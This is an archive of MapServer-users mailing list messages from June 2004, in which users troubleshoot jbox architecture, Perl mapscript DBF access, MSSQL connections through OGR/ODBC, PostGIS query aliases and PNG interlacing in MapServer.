From sebastien.dubois at esm2.imt-mrs.fr Tue Jun 1 00:33:09 2004 From: sebastien.dubois at esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS) Date: Tue, 1 Jun 2004 09:33:09 +0200 Subject: [Mapserver-users] architecture mapsserver/ jbox Message-ID: <1086075189.40bc31351284b@webmail.esm2.imt-mrs.fr> what's the architecture of jbox in fact? we're agree that with have an applet java. is it possible to interface this with a servlet serveur such tomcat? in other words , can i code (with such a tool as phpmapscript??) such that when I right click on my applet a list of choice appears. is there an api, library? how communicate jbox when i select some points. is there a call to the shape file on the server? the architecture is not very clear for me... in other words about mapserver. when i overview some typical point of my shape file using jbox. i can easily display the points i've taked in a html page with their attributes but how just change their color or create a new database with them?? thanks in advance for your help -- S?bastien ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From schick at sdac.hannover.bgr.de Tue Jun 1 01:55:15 2004 From: schick at sdac.hannover.bgr.de (Agneta Schick) Date: Tue, 1 Jun 2004 10:55:15 +0200 (MEST) Subject: [Mapserver-users] Can't locate object method "TIEHASH" Message-ID: <200406010855.i518tEIA020189@b3sn28.hannover.bgr.de> Thanks for the replies. I have no problem using XBase but I thought I had read an old mail ( which I can't find now) where someone criticised this method as being slow and advised to use msDBF. A follow-up question: what is the fastest method for extracting information from .dbf files? Agneta Schick > It is best to use Perl's XBase module for querying the DBF files. > I'm pretty sure that isn't even documented on purpose - I'll have to > check the doc. > > Lowell > > The following message was sent by Agneta Schick > on Fri, 28 May 2004 11:54:04 +0200 (MEST). > > > Hello mapserver-users, > > > > I've searched the mail archive and found 2 messages on this topic, > > both were, however, unanswered. > > > > So I'll try again... > > > > Platform: > > MapServer 4.0.1 > > solaris 9 > > Perl 5.8.3 > > > > I want to test an application querying shape files. > > My perl mapscript code > > ... > > $layer->queryByPoint($tmp_map,$pnt,$mapscript::MS_SINGLE,1000); > > my $res = $layer->getResult(0); > > $layer->open(); > > my $shape=new mapscript::shapeObj($layer->{type}); > > my $shape_index = $layer->getShape($shape,-1,$res->{shapeindex}); > > my $table = > > > mapscript::msDBFOpen("/space/b3sn13/webdb/htdocs/ermos/data/usgs.dbf","r+"); > > .... > > is terminated with > > Can't locate object method "TIEHASH" via package "_DBFHandle". > > > > Is this a mapscript problem or is something missing in the installation? > > > > (I tried the same perl script on solaris 8, mapserver 3.6.5, perl 5.6 > > and got the same error). > > > > Thanks, > > Agneta Schick > > > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > Agneta Schick > > > > Bundesanstalt fuer Geowissenschaften und Rohstoffe > > Federal Institute for Geosciences and Natural Resources > > Stilleweg 2 > > D- 30655 Hannover Tel.: +49 511 643 3136 > > GERMANY FAX.: +49 511 643 3663 > > > > schick at sdac.hannover.bgr.de http://www.seismologie.bgr.de > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Kalpin Thu Jun 3 03:07:08 2004 From: Kalpin (Kalpin) Date: Thu, 3 Jun 2004 17:07:08 +0700 Subject: [Mapserver-users] Mapserver using MSSQL Message-ID: <006801c44952$881a7e00$3701010a@kalpin> This is a multi-part message in MIME format. ------=_NextPart_000_0065_01C4498D.33F16150 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear all, Today, I am trying run MapServer under windows using MSSQL 2000. I have = read previous thread/mails and try to follow every step but I got error = like below : msDrawMap(): Image handling error. Failed to draw layer named 'LAYER_1'. = msOGRFileOpen(): OGR error. Open failed for OGR connection `layer1.ovf'. = File not found or unsupported format.=20 My Layer code :=20 LAYER NAME LAYER_1 TYPE POLYGON STATUS DEFAULT CONNECTIONTYPE OGR CONNECTION "layer1.ovf" DATA "layer1" CLASS NAME 'My City' OUTLINECOLOR 128 128 128 COLOR 225 225 185 TEMPLATE "layer1.html" END HEADER "layer_1_header.html" FOOTER "layer_1_footer.html"=20 METADATA WMS_TITLE "My City" WMS_ABSTRACT "Layer Shapefile." WMS_SRS "EPSG:26915" END END and my layer1.ovf : ODBC:sa/kalpin at mstest=20 River=20 wkbPoint=20 LAYER_1 =20 Help me please Thank you Kalpin Erlangga Silaen ------=_NextPart_000_0065_01C4498D.33F16150 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Dear all,
 
Today, I am trying run MapServer under = windows=20 using MSSQL 2000. I have read previous thread/mails and try to follow = every step=20 but I got error like below :
 
msDrawMap(): Image handling error. Failed to draw layer named = 'LAYER_1'.=20
msOGRFileOpen(): OGR error. Open failed for OGR connection = `layer1.ovf'.=20 File not found or unsupported format.
My Layer code :
 
LAYER
  NAME LAYER_1
  = TYPE=20 POLYGON
  STATUS DEFAULT
  CONNECTIONTYPE OGR
 =20 CONNECTION "layer1.ovf"
  DATA "layer1"
 =20 CLASS
    NAME 'My City'
    = OUTLINECOLOR=20 128 128 128
    COLOR 225 225 = 185
   =20 TEMPLATE "layer1.html"
  END
  HEADER=20 "layer_1_header.html"
  FOOTER "layer_1_footer.html"
 =20 METADATA
    WMS_TITLE "My City"
    = WMS_ABSTRACT "Layer Shapefile."
    WMS_SRS=20 "EPSG:26915"
  END
END
 
and my layer1.ovf :
 
<OGRVRTDataSource>
   =20 <OGRVRTLayer = name=3D"LAYER_1">
       =20 <SrcDataSource>ODBC:sa/kalpin at mstest</SrcDataSource>=20
  <SrcLayer>River</SrcLayer>=20
 <GeometryType>wkbPoint</GeometryType>=20
       =20 <LayerSRS>LAYER_1</LayerSRS>
 <GeometryField=20 encoding=3D"PointFromColumns" x=3D"x" y=3D"y"/> =
   =20 </OGRVRTLayer>
</OGRVRTDataSource>
 
 
Help me please
 
 
 
Thank you
 
 
 
Kalpin Erlangga = Silaen
------=_NextPart_000_0065_01C4498D.33F16150-- From strk at keybit.net Tue Jun 1 03:12:20 2004 From: strk at keybit.net (strk) Date: Tue, 1 Jun 2004 12:12:20 +0200 Subject: [Mapserver-users] bug postgis query alias In-Reply-To: <40BB95B9.5060604@main-task.com> References: <40BB95B9.5060604@main-task.com> Message-ID: <20040601101220.GC16031@freek.keybit.net> On Mon, May 31, 2004 at 03:29:45PM -0500, Vladimir Guzm?n wrote: > Hello. > I'm implementing a gps tracking system. > I want to show the car's orientation like this: > http://maintask.com/test.png > The layer's data is something like this: > ----------------------------- > gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > 05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > using srid=1 > ----------------------------- > The field 'sentido' contains '>'. > > The problem is that if I use something like this: > ----------------------------- > gps_geom from (select gid,'>' as sentido,tiempo,360-rumbo+90 as > rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > 05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > using srid=1 > ----------------------------- > The query doesn't work. > > So I had to create a column in potgres called 'sentido' and all the rows > containing '>'. > > Is this a bug? What's the error message ? Can you run the query from the pgsql monitor ? --strk; > > The rest of the layer: > > LAYER > NAME "puntosgps" > CONNECTIONTYPE postgis > CONNECTION "user=gps password=gps dbname=gps host=localhost" > DATA "gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > 05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > using srid=1" > TYPE POINT > PROJECTION > "proj=latlong" > "datum=WGS84" > END > LABELANGLEITEM 'rumbo' > LABELITEM 'sentido' > CLASS > NAME 'Parado' > EXPRESSION ([velocidad] = 0) > SIZE 14 > SYMBOL 'circle' > COLOR 0 0 215 > OUTLINECOLOR 204 204 204 > END > CLASS > NAME '0-10' > EXPRESSION ([velocidad] > 0 AND[velocidad] <= 10) > SIZE 14 > SYMBOL 'circle' > COLOR 255 255 204 > OUTLINECOLOR 204 204 204 > LABEL > TYPE TRUETYPE > FORCE TRUE > FONT arial > ANTIALIAS TRUE > COLOR 0 0 0 > OUTLINECOLOR 255 255 255 > SIZE 8 > END > END > ... > ... > > Thanks a lot. > > -- > Vladimir Ilich Guzm?n R. > ------------------------ > http://maintask.com > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From holesovsky at oksystem.cz Tue Jun 1 03:18:26 2004 From: holesovsky at oksystem.cz (holesovsky at oksystem.cz) Date: Tue, 1 Jun 2004 12:18:26 +0200 Subject: [Mapserver-users] PNG problem / INTERLACE ON Message-ID: <47F95A849D754144ABC557403D4AE440537FBA@lev.oksystem.local> This is a multi-part message in MIME format. ------_=_NextPart_001_01C447C1.C72ED26B Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Hi All, =20 I have a strange problem with MapServer version 4.0.2 and PNG output = format. =20 Sometimes it happens that a generated PNG file is not correctly = displayed in MS Internet Explorer.=20 In other desktop's viewers (Irfanview, Paint,....) is a PNG file = displayed properly. =20 When I change output format to JPEG or switch INTERLACE to OFF, a = generated bitmap is displayed correctly. =20 Is it a bug or my problem? =20 Thanks =20 Michael Holesovsky =20 =20 =20 ________________________________ From: mapserver-users-admin at lists.gis.umn.edu = [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Kalpin = Erlangga Silaen Sent: Thursday, June 03, 2004 12:07 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Mapserver using MSSQL =20 Dear all, =20 Today, I am trying run MapServer under windows using MSSQL 2000. I have = read previous thread/mails and try to follow every step but I got error = like below : =20 msDrawMap(): Image handling error. Failed to draw layer named 'LAYER_1'. = msOGRFileOpen(): OGR error. Open failed for OGR connection `layer1.ovf'. = File not found or unsupported format.=20 My Layer code :=20 =20 LAYER NAME LAYER_1 TYPE POLYGON STATUS DEFAULT CONNECTIONTYPE OGR CONNECTION "layer1.ovf" DATA "layer1" CLASS NAME 'My City' OUTLINECOLOR 128 128 128 COLOR 225 225 185 TEMPLATE "layer1.html" END HEADER "layer_1_header.html" FOOTER "layer_1_footer.html"=20 METADATA WMS_TITLE "My City" WMS_ABSTRACT "Layer Shapefile." WMS_SRS "EPSG:26915" END END =20 and my layer1.ovf : =20 ODBC:sa/kalpin at mstest=20 River=20 wkbPoint=20 LAYER_1 =20 =20 =20 Help me please =20 =20 =20 Thank you =20 =20 =20 Kalpin Erlangga Silaen ------_=_NextPart_001_01C447C1.C72ED26B Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable

Hi = All,

 

I have a strange problem with = MapServer version 4.0.2 and PNG output format.

 

Sometimes it happens that a = generated PNG file is not correctly displayed in MS Internet Explorer. =

In other desktop’s viewers = (Irfanview, Paint,….) is a PNG file displayed = properly.

 

When I change output format to JPEG = or switch INTERLACE to OFF, a generated bitmap is displayed = correctly.

 

Is it a bug or my = problem?

 

Thanks

 

Michael = Holesovsky

 

 

 


From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Kalpin Erlangga Silaen
Sent: Thursday, June 03, = 2004 12:07 PM
To: mapserver-users at lists.gis.umn.edu
Subject: = [Mapserver-users] Mapserver using MSSQL

 

Dear all,

 

Today, I am trying run MapServer under windows using = MSSQL 2000. I have read previous thread/mails and try to follow every step but = I got error like below :

 

msDrawMap(): Image handling error. Failed to draw layer named 'LAYER_1'.
msOGRFileOpen(): OGR error. Open failed for OGR connection `layer1.ovf'. = File not found or unsupported format.

My Layer code :

 

LAYER
  NAME LAYER_1
  TYPE POLYGON
  STATUS DEFAULT
  CONNECTIONTYPE OGR
  CONNECTION "layer1.ovf"
  DATA "layer1"
  CLASS
    NAME 'My City'
    OUTLINECOLOR 128 128 128
    COLOR 225 225 185
    TEMPLATE "layer1.html"
  END
  HEADER "layer_1_header.html"
  FOOTER "layer_1_footer.html"
  METADATA
    WMS_TITLE "My City"
    WMS_ABSTRACT "Layer Shapefile."
    WMS_SRS "EPSG:26915"
  END
END

 

and my layer1.ovf :

 

<OGRVRTDataSource>
    <OGRVRTLayer name=3D"LAYER_1">
        <SrcDataSource>ODBC:sa/kalpin at mstest</SrcDataSource>
  <SrcLayer>River</SrcLayer>
 <GeometryType>wkbPoint</GeometryType>
        <LayerSRS>LAYER_1</LayerSRS>
 <GeometryField encoding=3D"PointFromColumns" = x=3D"x" y=3D"y"/>
    </OGRVRTLayer>
</OGRVRTDataSource>

 

 

Help me please

 

 

 

Thank you

 

 

 

Kalpin Erlangga Silaen

------_=_NextPart_001_01C447C1.C72ED26B-- From bartvde at xs4all.nl Tue Jun 1 03:27:40 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Tue, 1 Jun 2004 12:27:40 +0200 (CEST) Subject: [Mapserver-users] Mapserver using MSSQL In-Reply-To: <006801c44952$881a7e00$3701010a@kalpin> References: <006801c44952$881a7e00$3701010a@kalpin> Message-ID: <13183.212.238.227.182.1086085660.squirrel@webmail.xs4all.nl> Hi, 1. can ogrinfo read the ovf file successfully? 2. which version of Mapserver are you using (try 4.2 beta3 from http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html). 3. are you using a System DSN? One thing which is incorrect for sure but I don't know if this is fatal, your LAYER_1. You can probably use your EPSG code for this. Best regards, Bart > Dear all, > > Today, I am trying run MapServer under windows using MSSQL 2000. I have > read previous thread/mails and try to follow every step but I got error > like below : > > msDrawMap(): Image handling error. Failed to draw layer named 'LAYER_1'. > msOGRFileOpen(): OGR error. Open failed for OGR connection `layer1.ovf'. > File not found or unsupported format. > > My Layer code : > > LAYER > NAME LAYER_1 > TYPE POLYGON > STATUS DEFAULT > CONNECTIONTYPE OGR > CONNECTION "layer1.ovf" > DATA "layer1" > CLASS > NAME 'My City' > OUTLINECOLOR 128 128 128 > COLOR 225 225 185 > TEMPLATE "layer1.html" > END > HEADER "layer_1_header.html" > FOOTER "layer_1_footer.html" > METADATA > WMS_TITLE "My City" > WMS_ABSTRACT "Layer Shapefile." > WMS_SRS "EPSG:26915" > END > END > > and my layer1.ovf : > > > > ODBC:sa/kalpin at mstest > River > wkbPoint > LAYER_1 > > > > > > Help me please > > > > Thank you > > > > Kalpin Erlangga Silaen From Kalpin Thu Jun 3 03:59:41 2004 From: Kalpin (Kalpin) Date: Thu, 3 Jun 2004 17:59:41 +0700 Subject: [Mapserver-users] Mapserver using MSSQL References: <006801c44952$881a7e00$3701010a@kalpin> <13183.212.238.227.182.1086085660.squirrel@webmail.xs4all.nl> Message-ID: <00c101c44959$e58433e0$3701010a@kalpin> Dear all, 1. While I try use ogrinfo I get error like this : D:\openev_fw\bin>ogrinfo layer1.ovf FAILURE: Unable to open datasource `layer1.ovf' with the following drivers. -> ESRI Shapefile -> UK .NTF -> SDTS -> TIGER -> IHO S-57 (ENC) -> MapInfo File -> DGN -> GML -> AVCBin -> OGDI D:\openev_fw\bin> 2. I am using Mapserver version 4.2 beta2 (ms42b2_gif_pg.zip) 3. Yes, I am using System DSN to create ODBC connection. I have try change LAYER_1 to another one like KAMPUN_1 and still same error. I am still need your help. Thank you Kalpin Erlangga Silaen ----- Original Message ----- From: To: "Kalpin Erlangga Silaen" Cc: Sent: Tuesday, June 01, 2004 5:27 PM Subject: Re: [Mapserver-users] Mapserver using MSSQL > Hi, > > 1. can ogrinfo read the ovf file successfully? > > 2. which version of Mapserver are you using (try 4.2 beta3 from > http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html). > > 3. are you using a System DSN? > > One thing which is incorrect for sure but I don't know if this is fatal, > your LAYER_1. You can probably use your EPSG code for > this. > > Best regards, > Bart > > > Dear all, > > > > Today, I am trying run MapServer under windows using MSSQL 2000. I have > > read previous thread/mails and try to follow every step but I got error > > like below : > > > > msDrawMap(): Image handling error. Failed to draw layer named 'LAYER_1'. > > msOGRFileOpen(): OGR error. Open failed for OGR connection `layer1.ovf'. > > File not found or unsupported format. > > > > My Layer code : > > > > LAYER > > NAME LAYER_1 > > TYPE POLYGON > > STATUS DEFAULT > > CONNECTIONTYPE OGR > > CONNECTION "layer1.ovf" > > DATA "layer1" > > CLASS > > NAME 'My City' > > OUTLINECOLOR 128 128 128 > > COLOR 225 225 185 > > TEMPLATE "layer1.html" > > END > > HEADER "layer_1_header.html" > > FOOTER "layer_1_footer.html" > > METADATA > > WMS_TITLE "My City" > > WMS_ABSTRACT "Layer Shapefile." > > WMS_SRS "EPSG:26915" > > END > > END > > > > and my layer1.ovf : > > > > > > > > ODBC:sa/kalpin at mstest > > River > > wkbPoint > > LAYER_1 > > > > > > > > > > > > Help me please > > > > > > > > Thank you > > > > > > > > Kalpin Erlangga Silaen > > > > From norbert.thieme at ilmenau.baw.de Tue Jun 1 04:52:39 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Tue, 01 Jun 2004 13:52:39 +0200 Subject: [Mapserver-users] Mapserver using MSSQL In-Reply-To: <00c101c44959$e58433e0$3701010a@kalpin> References: <006801c44952$881a7e00$3701010a@kalpin> <13183.212.238.227.182.1086085660.squirrel@webmail.xs4all.nl> <00c101c44959$e58433e0$3701010a@kalpin> Message-ID: <40BC6E07.7050400@ilmenau.baw.de> Kalpin Erlangga Silaen schrieb: > Dear all, > > 1. While I try use ogrinfo I get error like this : > D:\openev_fw\bin>ogrinfo layer1.ovf > FAILURE: > Unable to open datasource `layer1.ovf' with the following drivers. > -> ESRI Shapefile > -> UK .NTF > -> SDTS > -> TIGER > -> IHO S-57 (ENC) > -> MapInfo File > -> DGN > -> GML > -> AVCBin > -> OGDI > Hi, in your version of OGR ODBC is missing. This version seem not to be compiled with ODBC support. So you have to get another version of OGR. Regards, Norbert > D:\openev_fw\bin> > > 2. I am using Mapserver version 4.2 beta2 (ms42b2_gif_pg.zip) > > 3. Yes, I am using System DSN to create ODBC connection. > > I have try change LAYER_1 to another one like KAMPUN_1 and still same error. > I am still need your help. > > Thank you > > > > Kalpin Erlangga Silaen > > ----- Original Message ----- > From: > To: "Kalpin Erlangga Silaen" > Cc: > Sent: Tuesday, June 01, 2004 5:27 PM > Subject: Re: [Mapserver-users] Mapserver using MSSQL > > > >>Hi, >> >>1. can ogrinfo read the ovf file successfully? >> >>2. which version of Mapserver are you using (try 4.2 beta3 from >>http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html). >> >>3. are you using a System DSN? >> >>One thing which is incorrect for sure but I don't know if this is fatal, >>your LAYER_1. You can probably use your EPSG code for >>this. >> >>Best regards, >>Bart >> >> >>>Dear all, >>> >>>Today, I am trying run MapServer under windows using MSSQL 2000. I have >>>read previous thread/mails and try to follow every step but I got error >>>like below : >>> >>>msDrawMap(): Image handling error. Failed to draw layer named 'LAYER_1'. >>>msOGRFileOpen(): OGR error. Open failed for OGR connection `layer1.ovf'. >>>File not found or unsupported format. >>> >>>My Layer code : >>> >>>LAYER >>> NAME LAYER_1 >>> TYPE POLYGON >>> STATUS DEFAULT >>> CONNECTIONTYPE OGR >>> CONNECTION "layer1.ovf" >>> DATA "layer1" >>> CLASS >>> NAME 'My City' >>> OUTLINECOLOR 128 128 128 >>> COLOR 225 225 185 >>> TEMPLATE "layer1.html" >>> END >>> HEADER "layer_1_header.html" >>> FOOTER "layer_1_footer.html" >>> METADATA >>> WMS_TITLE "My City" >>> WMS_ABSTRACT "Layer Shapefile." >>> WMS_SRS "EPSG:26915" >>> END >>>END >>> >>>and my layer1.ovf : >>> >>> >>> >>> ODBC:sa/kalpin at mstest >>> River >>> wkbPoint >>> LAYER_1 >>> >>> >>> >>> >>> >>>Help me please >>> >>> >>> >>>Thank you >>> >>> >>> >>>Kalpin Erlangga Silaen >> >> >> >> > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From bigfoot at main-task.com Tue Jun 1 05:08:59 2004 From: bigfoot at main-task.com (=?ISO-8859-1?Q?Vladimir_Guzm=E1n?=) Date: Tue, 01 Jun 2004 07:08:59 -0500 Subject: [Mapserver-users] bug postgis query alias In-Reply-To: <20040601120622.GD17831@freek.keybit.net> References: <40BB95B9.5060604@main-task.com> <20040601101220.GC16031@freek.keybit.net> <40BC6EFD.10000@maintask.com> <20040601120622.GD17831@freek.keybit.net> Message-ID: <40BC71DB.70508@main-task.com> The line 33 is just the draw method: $mapa = $map->draw(); -- Vladimir Ilich Guzm?n R. ------------------------ http://maintask.com strk wrote: >On Tue, Jun 01, 2004 at 06:56:45AM -0500, Vladimir Guzm?n wrote: > > >>Yes, the query runs fine in the pgsql monitor: >>gps=> select gid,'>' as sentido,tiempo,360-rumbo+90 as >>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-31 >>05:00:00' and tiempo<='2004-06-02 04:59:59'; >> gid | sentido | tiempo | rumbo | velocidad | >>gps_geom | oid >>-------+---------+---------------------+-------+-----------+---------------------------------+--------- >>46275 | > | 2004-05-31 15:16:09 | 450 | 0 | >>SRID=1;POINT(-74.06318 4.67302) | 7731018 >>46276 | > | 2004-05-31 15:16:15 | 450 | 0 | >>SRID=1;POINT(-74.06318 4.67302) | 7731019 >>46277 | > | 2004-05-31 15:16:21 | 450 | 0 | >>SRID=1;POINT(-74.06319 4.67301) | 7731020 >>... >>... >> >>The error is just: >> >>*Warning*: MapServer Error in msDrawMap(): Failed to draw layer named >>'puntosgps'. >>in */usr/local/apache/htdocs/gps/index.phtml* on line *33* >> >> > >Ooh.. I see.. php involved! >There are lot's of auto handling of special chars with php... >Showing that line '33' would also be useful. > >--strk; > > > > >>Vladimir Ilich Guzm?n R. >>------------------------ >>http://maintask.com >> >> >> >>strk wrote: >> >> >> >>>On Mon, May 31, 2004 at 03:29:45PM -0500, Vladimir Guzm?n wrote: >>> >>> >>> >>> >>>>Hello. >>>>I'm implementing a gps tracking system. >>>>I want to show the car's orientation like this: >>>>http://maintask.com/test.png >>>>The layer's data is something like this: >>>>----------------------------- >>>>gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as >>>>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 >>>>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid >>>>using srid=1 >>>>----------------------------- >>>>The field 'sentido' contains '>'. >>>> >>>>The problem is that if I use something like this: >>>>----------------------------- >>>>gps_geom from (select gid,'>' as sentido,tiempo,360-rumbo+90 as >>>>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 >>>>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid >>>>using srid=1 >>>>----------------------------- >>>>The query doesn't work. >>>> >>>>So I had to create a column in potgres called 'sentido' and all the rows >>>>containing '>'. >>>> >>>>Is this a bug? >>>> >>>> >>>> >>>> >>>What's the error message ? >>>Can you run the query from the pgsql monitor ? >>>--strk; >>> >>> >>> >>> >>> >>>>The rest of the layer: >>>> >>>>LAYER >>>>NAME "puntosgps" >>>>CONNECTIONTYPE postgis >>>>CONNECTION "user=gps password=gps dbname=gps host=localhost" >>>>DATA "gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as >>>>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 >>>>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid >>>>using srid=1" >>>>TYPE POINT >>>>PROJECTION >>>>"proj=latlong" >>>>"datum=WGS84" >>>>END >>>>LABELANGLEITEM 'rumbo' >>>>LABELITEM 'sentido' >>>>CLASS >>>> NAME 'Parado' >>>> EXPRESSION ([velocidad] = 0) >>>> SIZE 14 >>>> SYMBOL 'circle' >>>> COLOR 0 0 215 >>>> OUTLINECOLOR 204 204 204 >>>>END >>>>CLASS >>>> NAME '0-10' >>>> EXPRESSION ([velocidad] > 0 AND[velocidad] <= 10) >>>> SIZE 14 >>>> SYMBOL 'circle' >>>> COLOR 255 255 204 >>>> OUTLINECOLOR 204 204 204 >>>> LABEL >>>> TYPE TRUETYPE >>>> FORCE TRUE >>>> FONT arial >>>> ANTIALIAS TRUE >>>> COLOR 0 0 0 >>>> OUTLINECOLOR 255 255 255 >>>> SIZE 8 >>>> END >>>>END >>>>... >>>>... >>>> >>>>Thanks a lot. >>>> >>>>-- >>>>Vladimir Ilich Guzm?n R. >>>>------------------------ >>>>http://maintask.com >>>> >>>> >>>>_______________________________________________ >>>>Mapserver-users mailing list >>>>Mapserver-users at lists.gis.umn.edu >>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>> >>>> >>>> >>>> >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>> >>> >>> >>> >>> > > > > From strk at keybit.net Tue Jun 1 05:06:22 2004 From: strk at keybit.net (strk) Date: Tue, 1 Jun 2004 14:06:22 +0200 Subject: [Mapserver-users] bug postgis query alias In-Reply-To: <40BC6EFD.10000@maintask.com> References: <40BB95B9.5060604@main-task.com> <20040601101220.GC16031@freek.keybit.net> <40BC6EFD.10000@maintask.com> Message-ID: <20040601120622.GD17831@freek.keybit.net> On Tue, Jun 01, 2004 at 06:56:45AM -0500, Vladimir Guzm?n wrote: > Yes, the query runs fine in the pgsql monitor: > gps=> select gid,'>' as sentido,tiempo,360-rumbo+90 as > rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-31 > 05:00:00' and tiempo<='2004-06-02 04:59:59'; > gid | sentido | tiempo | rumbo | velocidad | > gps_geom | oid > -------+---------+---------------------+-------+-----------+---------------------------------+--------- > 46275 | > | 2004-05-31 15:16:09 | 450 | 0 | > SRID=1;POINT(-74.06318 4.67302) | 7731018 > 46276 | > | 2004-05-31 15:16:15 | 450 | 0 | > SRID=1;POINT(-74.06318 4.67302) | 7731019 > 46277 | > | 2004-05-31 15:16:21 | 450 | 0 | > SRID=1;POINT(-74.06319 4.67301) | 7731020 > ... > ... > > The error is just: > > *Warning*: MapServer Error in msDrawMap(): Failed to draw layer named > 'puntosgps'. > in */usr/local/apache/htdocs/gps/index.phtml* on line *33* Ooh.. I see.. php involved! There are lot's of auto handling of special chars with php... Showing that line '33' would also be useful. --strk; > > > Vladimir Ilich Guzm?n R. > ------------------------ > http://maintask.com > > > > strk wrote: > > >On Mon, May 31, 2004 at 03:29:45PM -0500, Vladimir Guzm?n wrote: > > > > > >>Hello. > >>I'm implementing a gps tracking system. > >>I want to show the car's orientation like this: > >>http://maintask.com/test.png > >>The layer's data is something like this: > >>----------------------------- > >>gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > >>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > >>using srid=1 > >>----------------------------- > >>The field 'sentido' contains '>'. > >> > >>The problem is that if I use something like this: > >>----------------------------- > >>gps_geom from (select gid,'>' as sentido,tiempo,360-rumbo+90 as > >>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > >>using srid=1 > >>----------------------------- > >>The query doesn't work. > >> > >>So I had to create a column in potgres called 'sentido' and all the rows > >>containing '>'. > >> > >>Is this a bug? > >> > >> > > > >What's the error message ? > >Can you run the query from the pgsql monitor ? > >--strk; > > > > > > > >>The rest of the layer: > >> > >>LAYER > >>NAME "puntosgps" > >>CONNECTIONTYPE postgis > >>CONNECTION "user=gps password=gps dbname=gps host=localhost" > >>DATA "gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > >>rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-29 > >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using unique gid > >>using srid=1" > >>TYPE POINT > >>PROJECTION > >>"proj=latlong" > >>"datum=WGS84" > >>END > >>LABELANGLEITEM 'rumbo' > >>LABELITEM 'sentido' > >>CLASS > >> NAME 'Parado' > >> EXPRESSION ([velocidad] = 0) > >> SIZE 14 > >> SYMBOL 'circle' > >> COLOR 0 0 215 > >> OUTLINECOLOR 204 204 204 > >>END > >>CLASS > >> NAME '0-10' > >> EXPRESSION ([velocidad] > 0 AND[velocidad] <= 10) > >> SIZE 14 > >> SYMBOL 'circle' > >> COLOR 255 255 204 > >> OUTLINECOLOR 204 204 204 > >> LABEL > >> TYPE TRUETYPE > >> FORCE TRUE > >> FONT arial > >> ANTIALIAS TRUE > >> COLOR 0 0 0 > >> OUTLINECOLOR 255 255 255 > >> SIZE 8 > >> END > >>END > >>... > >>... > >> > >>Thanks a lot. > >> > >>-- > >>Vladimir Ilich Guzm?n R. > >>------------------------ > >>http://maintask.com > >> > >> > >>_______________________________________________ > >>Mapserver-users mailing list > >>Mapserver-users at lists.gis.umn.edu > >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >> > >> > >_______________________________________________ > >Mapserver-users mailing list > >Mapserver-users at lists.gis.umn.edu > >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > From bigfoot at main-task.com Tue Jun 1 05:04:23 2004 From: bigfoot at main-task.com (=?ISO-8859-1?Q?Vladimir_Guzm=E1n?=) Date: Tue, 01 Jun 2004 07:04:23 -0500 Subject: [Mapserver-users] bug postgis query alias In-Reply-To: <20040601101220.GC16031@freek.keybit.net> References: <40BB95B9.5060604@main-task.com> <20040601101220.GC16031@freek.keybit.net> 